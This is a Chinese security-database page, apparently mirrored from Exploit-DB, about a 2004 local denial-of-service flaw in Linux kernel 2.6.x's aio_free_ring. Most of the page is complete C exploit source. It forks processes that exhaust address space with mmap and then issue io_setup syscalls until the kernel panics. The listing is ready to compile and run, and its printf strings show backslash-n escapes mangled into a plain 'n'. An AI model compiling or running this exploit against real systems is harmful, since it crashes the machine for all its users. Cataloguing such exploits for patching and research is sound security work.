Linux Kernel 2.6.x – ‘AIO_Free_Ring’ Local Denial of Service

Linux Kernel 2.6.x – ‘AIO_Free_Ring’ Local Denial of Service

漏洞ID 1054786 漏洞类型
发布时间 2004-12-07 更新时间 2004-12-07
图片[1]-Linux Kernel 2.6.x – ‘AIO_Free_Ring’ Local Denial of Service-安全小百科CVE编号 N/A
图片[2]-Linux Kernel 2.6.x – ‘AIO_Free_Ring’ Local Denial of Service-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/24804
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/11842/info

The Linux Kernel is reported prone to a local denial of service vulnerability. It is reported that the vulnerability exists due to a failure by 'aio_free_ring' to handle exceptional conditions.

This vulnerability requires that mmap() is employed to map the maximum amount of process memory that is possible, before the vulnerability can be triggered.

It is reported that when handing 'io_setup' syscalls that are passed large values, the Linux kernel 'aio_setup_ring' will attempt to allocate a structure of page pointers.

When a subsequent 'aio_setup_ring' mmap() call fails, 'aio_free_ring' attempts to clean up the page pointers, it will crash during this procedure triggering a kernel panic.
*/


#include <signal.h>
#include <sys/mman.h>
#include <strings.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <errno.h>
#include <stdio.h>
#include <syscall.h>
#include <stdlib.h>
#include <asm/unistd.h>

int seed_random(void) {
	int fp;
	long seed;

	fp = open("/dev/random", O_RDONLY);
	if (fp < 0) {
		perror("/dev/random");
		return 0;
	}

	if (read(fp, &seed, sizeof(seed)) != sizeof(seed)) {
		perror("read random seed");
		return 0;
	}

	close(fp);
	srand48(seed);

	return 1;
}

void bogus_signal_handler(int signum) {
}

void real_signal_handler(int signum) {
	exit(0);
}

void install_signal_handlers(void) {
	int x;
	struct sigaction zig;

	bzero(&zig, sizeof(zig));
	zig.sa_handler = bogus_signal_handler;
	for (x = 0; x < 64; x++) {
		sigaction(x, &zig, NULL);
	}

	zig.sa_handler = real_signal_handler;
	sigaction(SIGINT, &zig, NULL);
}

/* 
 * Repeatedly try to mmap various junk until we've (hopefully)
 * filled up the address space of this process.  The calls parameter
 * should be fairly high--100000 seems to work.
 */
void mmap_pound(int calls) {
	int x, fd;
	
	fd = open("/dev/zero", O_RDWR);
	if (fd < 0) {
		perror("/dev/zero");
		return;
	}

	for (x = 0; x < calls; x++) {
		mmap(0, lrand48(), PROT_NONE, MAP_PRIVATE, fd, lrand48());
	}

	close(fd);
}

/* 
 * Repeatedly call io_setup to trigger the bug.
 * 1000000 syscalls generally suffices to cause the oops.
 */
void iosetup_pound(int calls) {
	int x;
	char *ptr = NULL;

	for (x = 0; x < calls; x++) {
		syscall(__NR_io_setup, 65530, &ptr);
	}
}

/*
 * Trivial function to print out VM size.
 */
void examine_vmsize(void) {
	char fname[256];
	FILE *fp;

	snprintf(fname, 256, "/proc/%d/status", getpid());

	fp = fopen(fname, "r");
	if (fp == NULL) {
		perror(fname);
		return;
	}

	while (fgets(fname, 256, fp) != NULL) {
		if (strncmp(fname, "VmSize", 6) == 0) {
			printf("%.5d: %s", getpid(), fname);
			break;
		}
	}

	fclose(fp);
}

/*
 * Read parameters and fork off children that abuse first mmap and then
 * io_setup in the hopes of causing an oops.
 */
int main(int argc, char *argv[]) {
	int i, x, forks, mmap_calls, iosetup_calls;

	if (argc < 4) {
		printf("Usage: %s forks mmap_calls iosetup_callsn", argv[0]);
		return 1;
	}

	forks = atoi(argv[1]);
	mmap_calls = atoi(argv[2]);
	iosetup_calls = atoi(argv[3]);

	printf("%.5d: forks = %d mmaps = %d iosetups = %dn", getpid(), forks, mmap_calls, iosetup_calls);

	for (i = 0; i < forks; i++) {
		x = fork();
		if (x == 0) {
			/* new proc, so start pounding */
			printf("%.5d: initializing.n", getpid());
			seed_random();
			install_signal_handlers();

			printf("%.5d: creating mmaps.n", getpid());
			mmap_pound(mmap_calls);

			examine_vmsize();

			printf("%.5d: calling iosetup..n", getpid());
			iosetup_pound(iosetup_calls);

			printf("%.5d: done pounding.n", getpid());

			return 0;
		} else {
			printf("%.5d: forked pid %.5d.n", getpid(), x);
		}
	}

	printf("%.5d: waiting for children.n", getpid());
	for (i = 0; i < forks; i++) {
		wait(NULL);
	}
	printf("%.5d: exiting.n", getpid());

	return 0;
}

相关推荐: phpMyNewsLetter Remote File Include Vulnerability

phpMyNewsLetter Remote File Include Vulnerability 漏洞ID 1101540 漏洞类型 Configuration Error 发布时间 2002-10-03 更新时间 2002-10-03 CVE编号 N/A …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享